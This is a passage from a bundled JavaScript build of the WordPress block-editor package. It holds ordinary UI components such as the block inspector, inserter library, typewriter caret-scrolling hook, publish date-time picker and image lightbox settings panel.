63108 }, []);
63109 const showTabs = getShowTabs(blockName, tabSettings);
63110 return showTabs ? tabs : use_inspector_controls_tabs_EMPTY_ARRAY;
63111}
63112
63113
63114;// ./node_modules/@wordpress/block-editor/build-module/components/block-inspector/useBlockInspectorAnimationSettings.js
63115
63116
63117function useBlockInspectorAnimationSettings(blockType) {
63118 return (0,external_wp_data_namespaceObject.useSelect)(
63119 (select) => {
63120 if (blockType) {
63121 const globalBlockInspectorAnimationSettings = select(store).getSettings().blockInspectorAnimation;
63122 const animationParent = globalBlockInspectorAnimationSettings?.animationParent;
63123 const { getSelectedBlockClientId, getBlockParentsByBlockName } = select(store);
63124 const _selectedBlockClientId = getSelectedBlockClientId();
63125 const animationParentBlockClientId = getBlockParentsByBlockName(
63126 _selectedBlockClientId,
63127 animationParent,
63128 true
63129 )[0];
63130 if (!animationParentBlockClientId && blockType.name !== animationParent) {
63131 return null;
63132 }
63133 return globalBlockInspectorAnimationSettings?.[blockType.name];
63134 }
63135 return null;
63136 },
63137 [blockType]
63138 );
63139}
63140
63141
63142;// ./node_modules/@wordpress/block-editor/build-module/components/block-inspector/index.js
63143
63144
63145
63146
63147
63148
63149
63150
63151
63152
63153
63154
63155
63156
63157
63158
63159
63160
63161
63162
63163
63164
63165function BlockStylesPanel({ clientId }) {
63166 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.PanelBody, { title: (0,external_wp_i18n_namespaceObject.__)("Styles"), children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(block_styles_default, { clientId }) });
63167}
63168function StyleInspectorSlots({
63169 blockName,
63170 showAdvancedControls = true,
63171 showPositionControls = true,
63172 showListControls = false,
63173 showBindingsControls = true
63174}) {
63175 const borderPanelLabel = useBorderPanelLabel({ blockName });
63176 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
63177 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(inspector_controls_default.Slot, {}),
63178 showListControls && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(inspector_controls_default.Slot, { group: "list" }),
63179 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
63180 inspector_controls_default.Slot,
63181 {
63182 group: "color",
63183 label: (0,external_wp_i18n_namespaceObject.__)("Color"),
63184 className: "color-block-support-panel__inner-wrapper"
63185 }
63186 ),
63187 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
63188 inspector_controls_default.Slot,
63189 {
63190 group: "background",
63191 label: (0,external_wp_i18n_namespaceObject.__)("Background image")
63192 }
63193 ),
63194 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
63195 inspector_controls_default.Slot,
63196 {
63197 group: "typography",
63198 label: (0,external_wp_i18n_namespaceObject.__)("Typography")
63199 }
63200 ),
63201 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
63202 inspector_controls_default.Slot,
63203 {
63204 group: "dimensions",
63205 label: (0,external_wp_i18n_namespaceObject.__)("Dimensions")
63206 }
63207 ),
63208 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(inspector_controls_default.Slot, { group: "border", label: borderPanelLabel }),
63209 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(inspector_controls_default.Slot, { group: "styles" }),
63210 showPositionControls && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(position_controls_panel_default, {}),
63211 showBindingsControls && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(inspector_controls_default.Slot, { group: "bindings" }),
63212 showAdvancedControls && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(advanced_controls_panel_default, {}) })
63213 ] });
63214}
63215function BlockInspector() {
63216 const {
63217 selectedBlockCount,
63218 selectedBlockName,
63219 selectedBlockClientId,
63220 blockType,
63221 isSectionBlock,
63222 isSectionBlockInSelection,
63223 hasBlockStyles
63224 } = (0,external_wp_data_namespaceObject.useSelect)((select) => {
63225 const {
63226 getSelectedBlockClientId,
63227 getSelectedBlockClientIds,
63228 getSelectedBlockCount,
63229 getBlockName,
63230 getParentSectionBlock,
63231 isSectionBlock: _isSectionBlock
63232 } = unlock(select(store));
63233 const { getBlockStyles } = select(external_wp_blocks_namespaceObject.store);
63234 const _selectedBlockClientId = getSelectedBlockClientId();
63235 const renderedBlockClientId = getParentSectionBlock(_selectedBlockClientId) || _selectedBlockClientId;
63236 const _selectedBlockName = renderedBlockClientId && getBlockName(renderedBlockClientId);
63237 const _blockType = _selectedBlockName && (0,external_wp_blocks_namespaceObject.getBlockType)(_selectedBlockName);
63238 const selectedBlockClientIds = getSelectedBlockClientIds();
63239 const _isSectionBlockInSelection = selectedBlockClientIds.some(
63240 (id) => _isSectionBlock(id)
63241 );
63242 const blockStyles = _selectedBlockName && getBlockStyles(_selectedBlockName);
63243 const _hasBlockStyles = blockStyles && blockStyles.length > 0;
63244 return {
63245 selectedBlockCount: getSelectedBlockCount(),
63246 selectedBlockClientId: renderedBlockClientId,
63247 selectedBlockName: _selectedBlockName,
63248 blockType: _blockType,
63249 isSectionBlockInSelection: _isSectionBlockInSelection,
63250 isSectionBlock: _isSectionBlock(renderedBlockClientId),
63251 hasBlockStyles: _hasBlockStyles
63252 };
63253 }, []);
63254 const contentClientIds = (0,external_wp_data_namespaceObject.useSelect)(
63255 (select) => {
63256 if (!isSectionBlock || !selectedBlockClientId) {
63257 return [];
63258 }
63259 const {
63260 getClientIdsOfDescendants,
63261 getBlockName,
63262 getBlockEditingMode
63263 } = unlock(select(store));
63264 const descendants = getClientIdsOfDescendants(
63265 selectedBlockClientId
63266 );
63267 const navigationDescendants = /* @__PURE__ */ new Set();
63268 descendants.forEach((clientId) => {
63269 if (getBlockName(clientId) === "core/navigation") {
63270 const navChildren = getClientIdsOfDescendants(clientId);
63271 navChildren.forEach(
63272 (childId) => navigationDescendants.add(childId)
63273 );
63274 }
63275 });
63276 return descendants.filter((current) => {
63277 if (navigationDescendants.has(current)) {
63278 return false;
63279 }
63280 return getBlockName(current) !== "core/list-item" && getBlockEditingMode(current) === "contentOnly";
63281 });
63282 },
63283 [isSectionBlock, selectedBlockClientId]
63284 );
63285 const availableTabs = useInspectorControlsTabs(
63286 blockType?.name,
63287 contentClientIds,
63288 isSectionBlock,
63289 hasBlockStyles
63290 );
63291 const hasMultipleTabs = availableTabs?.length > 1;
63292 const blockInspectorAnimationSettings = useBlockInspectorAnimationSettings(blockType);
63293 const hasSelectedBlocks = selectedBlockCount > 1;
63294 if (hasSelectedBlocks && !isSectionBlockInSelection) {
63295 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { className: "block-editor-block-inspector", children: [
63296 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(MultiSelectionInspector, {}),
63297 hasMultipleTabs ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(InspectorControlsTabs, { tabs: availableTabs }) : /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
63298 StyleInspectorSlots,
63299 {
63300 blockName: selectedBlockName,
63301 showAdvancedControls: false,
63302 showPositionControls: false,
63303 showBindingsControls: false
63304 }
63305 )
63306 ] });
63307 }
63308 if (hasSelectedBlocks && isSectionBlockInSelection) {
63309 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "block-editor-block-inspector", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(MultiSelectionInspector, {}) });
63310 }
63311 const isSelectedBlockUnregistered = selectedBlockName === (0,external_wp_blocks_namespaceObject.getUnregisteredTypeHandlerName)();
63312 const shouldShowWarning = !blockType || !selectedBlockClientId || isSelectedBlockUnregistered;
63313 if (shouldShowWarning) {
63314 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("span", { className: "block-editor-block-inspector__no-blocks", children: (0,external_wp_i18n_namespaceObject.__)("No block selected.") });
63315 }
63316 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
63317 BlockInspectorSingleBlockWrapper,
63318 {
63319 animate: blockInspectorAnimationSettings,
63320 wrapper: (children) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
63321 AnimatedContainer,
63322 {
63323 blockInspectorAnimationSettings,
63324 selectedBlockClientId,
63325 children
63326 }
63327 ),
63328 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
63329 BlockInspectorSingleBlock,
63330 {
63331 clientId: selectedBlockClientId,
63332 blockName: blockType.name,
63333 isSectionBlock,
63334 availableTabs,
63335 contentClientIds,
63336 hasBlockStyles
63337 }
63338 )
63339 }
63340 );
63341}
63342const BlockInspectorSingleBlockWrapper = ({ animate, wrapper, children }) => {
63343 return animate ? wrapper(children) : children;
63344};
63345const AnimatedContainer = ({
63346 blockInspectorAnimationSettings,
63347 selectedBlockClientId,
63348 children
63349}) => {
63350 const animationOrigin = blockInspectorAnimationSettings && blockInspectorAnimationSettings.enterDirection === "leftToRight" ? -50 : 50;
63351 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
63352 external_wp_components_namespaceObject.__unstableMotion.div,
63353 {
63354 animate: {
63355 x: 0,
63356 opacity: 1,
63357 transition: {
63358 ease: "easeInOut",
63359 duration: 0.14
63360 }
63361 },
63362 initial: {
63363 x: animationOrigin,
63364 opacity: 0
63365 },
63366 children
63367 },
63368 selectedBlockClientId
63369 );
63370};
63371const BlockInspectorSingleBlock = ({
63372 clientId,
63373 blockName,
63374 isSectionBlock,
63375 availableTabs,
63376 contentClientIds,
63377 hasBlockStyles
63378}) => {
63379 const hasMultipleTabs = availableTabs?.length > 1;
63380 const blockInformation = useBlockDisplayInformation(clientId);
63381 const isBlockSynced = blockInformation.isSynced;
63382 const shouldShowTabs = !isBlockSynced && hasMultipleTabs;
63383 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { className: "block-editor-block-inspector", children: [
63384 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
63385 block_card_default,
63386 {
63387 ...blockInformation,
63388 className: isBlockSynced && "is-synced",
63389 allowParentNavigation: true,
63390 children: window?.__experimentalContentOnlyPatternInsertion && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(EditContentsButton, { clientId })
63391 }
63392 ),
63393 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(block_variation_transforms_default, { blockClientId: clientId }),
63394 shouldShowTabs && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
63395 InspectorControlsTabs,
63396 {
63397 hasBlockStyles,
63398 clientId,
63399 blockName,
63400 tabs: availableTabs,
63401 isSectionBlock,
63402 contentClientIds
63403 }
63404 ),
63405 !shouldShowTabs && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
63406 hasBlockStyles && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(BlockStylesPanel, { clientId }),
63407 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(content_tab_default, { contentClientIds }),
63408 !isSectionBlock && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
63409 StyleInspectorSlots,
63410 {
63411 blockName,
63412 showListControls: true
63413 }
63414 )
63415 ] }),
63416 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(SkipToSelectedBlock, {}, "back")
63417 ] });
63418};
63419var block_inspector_default = BlockInspector;
63420
63421
63422;// ./node_modules/@wordpress/block-editor/build-module/components/copy-handler/index.js
63423
63424
63425
63426const __unstableUseClipboardHandler = () => {
63427 external_wp_deprecated_default()("__unstableUseClipboardHandler", {
63428 alternative: "BlockCanvas or WritingFlow",
63429 since: "6.4",
63430 version: "6.7"
63431 });
63432 return useClipboardHandler();
63433};
63434function CopyHandler(props) {
63435 external_wp_deprecated_default()("CopyHandler", {
63436 alternative: "BlockCanvas or WritingFlow",
63437 since: "6.4",
63438 version: "6.7"
63439 });
63440 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { ...props, ref: useClipboardHandler() });
63441}
63442
63443
63444;// ./node_modules/@wordpress/block-editor/build-module/components/inserter/library.js
63445
63446
63447
63448
63449
63450const library_noop = () => {
63451};
63452function InserterLibrary({
63453 rootClientId,
63454 clientId,
63455 isAppender,
63456 showInserterHelpPanel,
63457 showMostUsedBlocks = false,
63458 __experimentalInsertionIndex,
63459 __experimentalInitialTab,
63460 __experimentalInitialCategory,
63461 __experimentalFilterValue,
63462 onPatternCategorySelection,
63463 onSelect = library_noop,
63464 shouldFocusBlock = false,
63465 onClose
63466}, ref) {
63467 const { destinationRootClientId } = (0,external_wp_data_namespaceObject.useSelect)(
63468 (select) => {
63469 const { getBlockRootClientId } = select(store);
63470 const _rootClientId = rootClientId || getBlockRootClientId(clientId) || void 0;
63471 return {
63472 destinationRootClientId: _rootClientId
63473 };
63474 },
63475 [clientId, rootClientId]
63476 );
63477 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
63478 PrivateInserterMenu,
63479 {
63480 onSelect,
63481 rootClientId: destinationRootClientId,
63482 clientId,
63483 isAppender,
63484 showInserterHelpPanel,
63485 showMostUsedBlocks,
63486 __experimentalInsertionIndex,
63487 __experimentalFilterValue,
63488 onPatternCategorySelection,
63489 __experimentalInitialTab,
63490 __experimentalInitialCategory,
63491 shouldFocusBlock,
63492 ref,
63493 onClose
63494 }
63495 );
63496}
63497const PrivateInserterLibrary = (0,external_wp_element_namespaceObject.forwardRef)(InserterLibrary);
63498function PublicInserterLibrary(props, ref) {
63499 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
63500 PrivateInserterLibrary,
63501 {
63502 ...props,
63503 onPatternCategorySelection: void 0,
63504 ref
63505 }
63506 );
63507}
63508var library_default = (0,external_wp_element_namespaceObject.forwardRef)(PublicInserterLibrary);
63509
63510
63511;// ./node_modules/@wordpress/block-editor/build-module/components/selection-scroll-into-view/index.js
63512
63513function MultiSelectScrollIntoView() {
63514 external_wp_deprecated_default()("wp.blockEditor.MultiSelectScrollIntoView", {
63515 hint: "This behaviour is now built-in.",
63516 since: "5.8"
63517 });
63518 return null;
63519}
63520
63521
63522;// ./node_modules/@wordpress/block-editor/build-module/components/typewriter/index.js
63523
63524
63525
63526
63527
63528
63529const isIE = window.navigator.userAgent.indexOf("Trident") !== -1;
63530const arrowKeyCodes = /* @__PURE__ */ new Set([external_wp_keycodes_namespaceObject.UP, external_wp_keycodes_namespaceObject.DOWN, external_wp_keycodes_namespaceObject.LEFT, external_wp_keycodes_namespaceObject.RIGHT]);
63531const initialTriggerPercentage = 0.75;
63532function useTypewriter() {
63533 const hasSelectedBlock = (0,external_wp_data_namespaceObject.useSelect)(
63534 (select) => select(store).hasSelectedBlock(),
63535 []
63536 );
63537 return (0,external_wp_compose_namespaceObject.useRefEffect)(
63538 (node) => {
63539 if (!hasSelectedBlock) {
63540 return;
63541 }
63542 const { ownerDocument } = node;
63543 const { defaultView } = ownerDocument;
63544 let scrollResizeRafId;
63545 let onKeyDownRafId;
63546 let caretRect;
63547 function onScrollResize() {
63548 if (scrollResizeRafId) {
63549 return;
63550 }
63551 scrollResizeRafId = defaultView.requestAnimationFrame(() => {
63552 computeCaretRectangle();
63553 scrollResizeRafId = null;
63554 });
63555 }
63556 function onKeyDown(event) {
63557 if (onKeyDownRafId) {
63558 defaultView.cancelAnimationFrame(onKeyDownRafId);
63559 }
63560 onKeyDownRafId = defaultView.requestAnimationFrame(() => {
63561 maintainCaretPosition(event);
63562 onKeyDownRafId = null;
63563 });
63564 }
63565 function maintainCaretPosition({ keyCode }) {
63566 if (!isSelectionEligibleForScroll()) {
63567 return;
63568 }
63569 const currentCaretRect = (0,external_wp_dom_namespaceObject.computeCaretRect)(defaultView);
63570 if (!currentCaretRect) {
63571 return;
63572 }
63573 if (!caretRect) {
63574 caretRect = currentCaretRect;
63575 return;
63576 }
63577 if (arrowKeyCodes.has(keyCode)) {
63578 caretRect = currentCaretRect;
63579 return;
63580 }
63581 const diff = currentCaretRect.top - caretRect.top;
63582 if (diff === 0) {
63583 return;
63584 }
63585 const scrollContainer = (0,external_wp_dom_namespaceObject.getScrollContainer)(node);
63586 if (!scrollContainer) {
63587 return;
63588 }
63589 const windowScroll = scrollContainer === ownerDocument.body || scrollContainer === ownerDocument.documentElement;
63590 const scrollY = windowScroll ? defaultView.scrollY : scrollContainer.scrollTop;
63591 const scrollContainerY = windowScroll ? 0 : scrollContainer.getBoundingClientRect().top;
63592 const relativeScrollPosition = windowScroll ? caretRect.top / defaultView.innerHeight : (caretRect.top - scrollContainerY) / (defaultView.innerHeight - scrollContainerY);
63593 if (scrollY === 0 && relativeScrollPosition < initialTriggerPercentage && isLastEditableNode()) {
63594 caretRect = currentCaretRect;
63595 return;
63596 }
63597 const scrollContainerHeight = windowScroll ? defaultView.innerHeight : scrollContainer.clientHeight;
63598 if (
63599 // The caret is under the lower fold.
63600 caretRect.top + caretRect.height > scrollContainerY + scrollContainerHeight || // The caret is above the upper fold.
63601 caretRect.top < scrollContainerY
63602 ) {
63603 caretRect = currentCaretRect;
63604 return;
63605 }
63606 if (windowScroll) {
63607 defaultView.scrollBy(0, diff);
63608 } else {
63609 scrollContainer.scrollTop += diff;
63610 }
63611 }
63612 function addSelectionChangeListener() {
63613 ownerDocument.addEventListener(
63614 "selectionchange",
63615 computeCaretRectOnSelectionChange
63616 );
63617 }
63618 function computeCaretRectOnSelectionChange() {
63619 ownerDocument.removeEventListener(
63620 "selectionchange",
63621 computeCaretRectOnSelectionChange
63622 );
63623 computeCaretRectangle();
63624 }
63625 function computeCaretRectangle() {
63626 if (isSelectionEligibleForScroll()) {
63627 caretRect = (0,external_wp_dom_namespaceObject.computeCaretRect)(defaultView);
63628 }
63629 }
63630 function isSelectionEligibleForScroll() {
63631 return node.contains(ownerDocument.activeElement) && ownerDocument.activeElement.isContentEditable;
63632 }
63633 function isLastEditableNode() {
63634 const editableNodes = node.querySelectorAll(
63635 '[contenteditable="true"]'
63636 );
63637 const lastEditableNode = editableNodes[editableNodes.length - 1];
63638 return lastEditableNode === ownerDocument.activeElement;
63639 }
63640 defaultView.addEventListener("scroll", onScrollResize, true);
63641 defaultView.addEventListener("resize", onScrollResize, true);
63642 node.addEventListener("keydown", onKeyDown);
63643 node.addEventListener("keyup", maintainCaretPosition);
63644 node.addEventListener("mousedown", addSelectionChangeListener);
63645 node.addEventListener("touchstart", addSelectionChangeListener);
63646 return () => {
63647 defaultView.removeEventListener(
63648 "scroll",
63649 onScrollResize,
63650 true
63651 );
63652 defaultView.removeEventListener(
63653 "resize",
63654 onScrollResize,
63655 true
63656 );
63657 node.removeEventListener("keydown", onKeyDown);
63658 node.removeEventListener("keyup", maintainCaretPosition);
63659 node.removeEventListener(
63660 "mousedown",
63661 addSelectionChangeListener
63662 );
63663 node.removeEventListener(
63664 "touchstart",
63665 addSelectionChangeListener
63666 );
63667 ownerDocument.removeEventListener(
63668 "selectionchange",
63669 computeCaretRectOnSelectionChange
63670 );
63671 defaultView.cancelAnimationFrame(scrollResizeRafId);
63672 defaultView.cancelAnimationFrame(onKeyDownRafId);
63673 };
63674 },
63675 [hasSelectedBlock]
63676 );
63677}
63678function Typewriter({ children }) {
63679 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { ref: useTypewriter(), className: "block-editor__typewriter", children });
63680}
63681const TypewriterOrIEBypass = isIE ? (props) => props.children : Typewriter;
63682var typewriter_default = TypewriterOrIEBypass;
63683
63684
63685;// ./node_modules/@wordpress/block-editor/build-module/components/recursion-provider/index.js
63686
63687
63688
63689
63690const RenderedRefsContext = (0,external_wp_element_namespaceObject.createContext)({});
63691RenderedRefsContext.displayName = "RenderedRefsContext";
63692function addToBlockType(renderedBlocks, blockName, uniqueId) {
63693 const result = {
63694 ...renderedBlocks,
63695 [blockName]: renderedBlocks[blockName] ? new Set(renderedBlocks[blockName]) : /* @__PURE__ */ new Set()
63696 };
63697 result[blockName].add(uniqueId);
63698 return result;
63699}
63700function RecursionProvider({ children, uniqueId, blockName = "" }) {
63701 const previouslyRenderedBlocks = (0,external_wp_element_namespaceObject.useContext)(RenderedRefsContext);
63702 const { name } = useBlockEditContext();
63703 blockName = blockName || name;
63704 const newRenderedBlocks = (0,external_wp_element_namespaceObject.useMemo)(
63705 () => addToBlockType(previouslyRenderedBlocks, blockName, uniqueId),
63706 [previouslyRenderedBlocks, blockName, uniqueId]
63707 );
63708 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(RenderedRefsContext.Provider, { value: newRenderedBlocks, children });
63709}
63710function useHasRecursion(uniqueId, blockName = "") {
63711 const previouslyRenderedBlocks = (0,external_wp_element_namespaceObject.useContext)(RenderedRefsContext);
63712 const { name } = useBlockEditContext();
63713 blockName = blockName || name;
63714 return Boolean(previouslyRenderedBlocks[blockName]?.has(uniqueId));
63715}
63716const DeprecatedExperimentalRecursionProvider = (props) => {
63717 external_wp_deprecated_default()("wp.blockEditor.__experimentalRecursionProvider", {
63718 since: "6.5",
63719 alternative: "wp.blockEditor.RecursionProvider"
63720 });
63721 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(RecursionProvider, { ...props });
63722};
63723const DeprecatedExperimentalUseHasRecursion = (...args) => {
63724 external_wp_deprecated_default()("wp.blockEditor.__experimentalUseHasRecursion", {
63725 since: "6.5",
63726 alternative: "wp.blockEditor.useHasRecursion"
63727 });
63728 return useHasRecursion(...args);
63729};
63730
63731
63732;// ./node_modules/@wordpress/block-editor/build-module/components/inspector-popover-header/index.js
63733
63734
63735
63736
63737function InspectorPopoverHeader({
63738 title,
63739 help,
63740 actions = [],
63741 onClose
63742}) {
63743 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, { className: "block-editor-inspector-popover-header", spacing: 4, children: [
63744 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, { alignment: "center", children: [
63745 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
63746 external_wp_components_namespaceObject.__experimentalHeading,
63747 {
63748 className: "block-editor-inspector-popover-header__heading",
63749 level: 2,
63750 size: 13,
63751 children: title
63752 }
63753 ),
63754 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalSpacer, {}),
63755 actions.map(({ label, icon, onClick }) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
63756 external_wp_components_namespaceObject.Button,
63757 {
63758 size: "small",
63759 className: "block-editor-inspector-popover-header__action",
63760 label,
63761 icon,
63762 variant: !icon && "tertiary",
63763 onClick,
63764 children: !icon && label
63765 },
63766 label
63767 )),
63768 onClose && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
63769 external_wp_components_namespaceObject.Button,
63770 {
63771 size: "small",
63772 className: "block-editor-inspector-popover-header__action",
63773 label: (0,external_wp_i18n_namespaceObject.__)("Close"),
63774 icon: close_small_default,
63775 onClick: onClose
63776 }
63777 )
63778 ] }),
63779 help && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalText, { children: help })
63780 ] });
63781}
63782
63783
63784;// ./node_modules/@wordpress/block-editor/build-module/components/publish-date-time-picker/index.js
63785
63786
63787
63788
63789
63790
63791function PublishDateTimePicker({
63792 onClose,
63793 onChange,
63794 showPopoverHeaderActions,
63795 isCompact,
63796 currentDate,
63797 title,
63798 ...additionalProps
63799}, ref) {
63800 const datePickerProps = {
63801 startOfWeek: (0,external_wp_date_namespaceObject.getSettings)().l10n.startOfWeek,
63802 onChange,
63803 currentDate: isCompact ? void 0 : currentDate,
63804 currentTime: isCompact ? currentDate : void 0,
63805 ...additionalProps
63806 };
63807 const DatePickerComponent = isCompact ? external_wp_components_namespaceObject.TimePicker : external_wp_components_namespaceObject.DateTimePicker;
63808 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { ref, className: "block-editor-publish-date-time-picker", children: [
63809 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
63810 InspectorPopoverHeader,
63811 {
63812 title: title || (0,external_wp_i18n_namespaceObject.__)("Publish"),
63813 actions: showPopoverHeaderActions ? [
63814 {
63815 label: (0,external_wp_i18n_namespaceObject.__)("Now"),
63816 onClick: () => onChange?.(null)
63817 }
63818 ] : void 0,
63819 onClose
63820 }
63821 ),
63822 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(DatePickerComponent, { ...datePickerProps })
63823 ] });
63824}
63825const PrivatePublishDateTimePicker = (0,external_wp_element_namespaceObject.forwardRef)(PublishDateTimePicker);
63826function PublicPublishDateTimePicker(props, ref) {
63827 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
63828 PrivatePublishDateTimePicker,
63829 {
63830 ...props,
63831 showPopoverHeaderActions: true,
63832 isCompact: false,
63833 ref
63834 }
63835 );
63836}
63837var publish_date_time_picker_default = (0,external_wp_element_namespaceObject.forwardRef)(PublicPublishDateTimePicker);
63838
63839
63840;// ./node_modules/@wordpress/block-editor/build-module/components/tool-selector/index.js
63841
63842
63843function ToolSelector() {
63844 external_wp_deprecated_default()("wp.blockEditor.ToolSelector", {
63845 since: "6.9",
63846 hint: "The ToolSelector component no longer renders anything."
63847 });
63848 return null;
63849}
63850var tool_selector_default = (0,external_wp_element_namespaceObject.forwardRef)(ToolSelector);
63851
63852
63853;// ./node_modules/@wordpress/block-editor/build-module/components/index.js
63854
63855
63856
63857
63858
63859
63860
63861
63862
63863
63864
63865
63866
63867
63868
63869
63870
63871
63872
63873
63874
63875
63876
63877
63878
63879
63880
63881
63882
63883
63884
63885
63886
63887
63888
63889
63890
63891
63892
63893
63894
63895
63896
63897
63898
63899
63900
63901
63902
63903
63904
63905
63906
63907
63908
63909
63910
63911
63912
63913
63914
63915
63916
63917
63918
63919
63920
63921
63922
63923
63924
63925
63926
63927
63928
63929
63930
63931
63932
63933
63934
63935
63936
63937
63938
63939
63940
63941
63942
63943
63944
63945
63946
63947
63948
63949
63950
63951
63952
63953
63954
63955
63956
63957
63958
63959
63960
63961
63962
63963
63964
63965
63966;// ./node_modules/@wordpress/block-editor/build-module/elements/index.js
63967const elements_ELEMENT_CLASS_NAMES = {
63968 button: "wp-element-button",
63969 caption: "wp-element-caption"
63970};
63971const __experimentalGetElementClassName = (element) => {
63972 return elements_ELEMENT_CLASS_NAMES[element] ? elements_ELEMENT_CLASS_NAMES[element] : "";
63973};
63974
63975
63976;// ./node_modules/@wordpress/block-editor/build-module/utils/get-px-from-css-unit.js
63977var get_px_from_css_unit_default = () => "";
63978
63979
63980;// ./node_modules/@wordpress/block-editor/build-module/utils/index.js
63981
63982
63983
63984
63985
63986;// ./node_modules/@wordpress/block-editor/build-module/components/global-styles/image-settings-panel.js
63987
63988
63989
63990
63991function useHasImageSettingsPanel(name, value, inheritedValue) {
63992 return name === "core/image" && inheritedValue?.lightbox?.allowEditing || !!value?.lightbox;
63993}
63994function ImageSettingsPanel({
63995 onChange,
63996 value,
63997 inheritedValue,
63998 panelId
63999}) {
64000 const dropdownMenuProps = useToolsPanelDropdownMenuProps();
64001 const resetLightbox = () => {
64002 onChange(void 0);
64003 };
64004 const onChangeLightbox = (newSetting) => {
64005 onChange({
64006 enabled: newSetting
64007 });
64008 };
64009 let lightboxChecked = false;
64010 if (inheritedValue?.lightbox?.enabled) {
64011 lightboxChecked = inheritedValue.lightbox.enabled;
64012 }
64013 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
64014 external_wp_components_namespaceObject.__experimentalToolsPanel,
64015 {
64016 label: (0,external_wp_i18n_namespaceObject._x)("Settings", "Image settings"),
64017 resetAll: resetLightbox,
64018 panelId,
64019 dropdownMenuProps,
64020 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
64021 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
64022 {
64023 hasValue: () => !!value?.lightbox,
64024 label: (0,external_wp_i18n_namespaceObject.__)("Enlarge on click"),
64025 onDeselect: resetLightbox,
64026 isShownByDefault: true,
64027 panelId,
64028 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
64029 external_wp_components_namespaceObject.ToggleControl,
64030 {
64031 __nextHasNoMarginBottom: true,
64032 label: (0,external_wp_i18n_namespaceObject.__)("Enlarge on click"),
64033 checked: lightboxChecked,
64034 onChange: onChangeLightbox
64035 }
64036 )
64037 }
64038 )
64039 }
64040 ) });
64041}
64042
64043
64044;// ./node_modules/@wordpress/block-editor/build-module/components/global-styles/advanced-panel.js
64045
64046
64047
64048
64049
64050function AdvancedPanel({
64051 value,
64052 onChange,
